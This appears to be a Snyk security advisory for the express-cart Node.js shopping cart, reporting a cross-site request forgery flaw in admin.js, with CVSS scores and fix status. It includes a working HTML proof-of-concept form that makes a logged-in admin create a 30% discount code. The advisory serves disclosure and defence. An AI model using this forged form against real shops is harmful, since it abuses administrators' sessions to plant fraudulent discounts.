<p>A fix was pushed into the <code>master</code> branch but not yet published.</p>

Cross-site Request Forgery (CSRF) Affecting express-cart package, versions *

Threat Intelligence

Proof of concept

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Snyk ID SNYK-JS-EXPRESSCART-585983
published 21 Jul 2020
disclosed 21 Jul 2020
credit saddean_

Report a new vulnerability Found a mistake?

Introduced: 21 Jul 2020

CWE-352 Open this link in a new tab

How to fix?

A fix was pushed into the master branch but not yet published.

Overview

express-cart is a fully functional shopping cart built in Node.js (Express, MongoDB) with Stripe, PayPal and Authorize.net payments.

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) via admin.js.

PoC:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:1111/admin/settings/discount/create" method="POST">
      <input type="hidden" name="code" value="CSRF&#45;CODE&#45;DEMO" />
      <input type="hidden" name="type" value="percent" />
      <input type="hidden" name="value" value="30" />
      <input type="hidden" name="start" value="21&#47;02&#47;2020&#32;14&#58;32" />
      <input type="hidden" name="end" value="22&#47;02&#47;2020&#32;14&#58;32" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

References

CVSS Scores

version 3.1

Attack Vector (AV)

Local
Attack Complexity (AC)

Low
Privileges Required (PR)

Low
User Interaction (UI)

Required

Scope (S)

Changed

Confidentiality (C)

Low
Integrity (I)

Low
Availability (A)

Low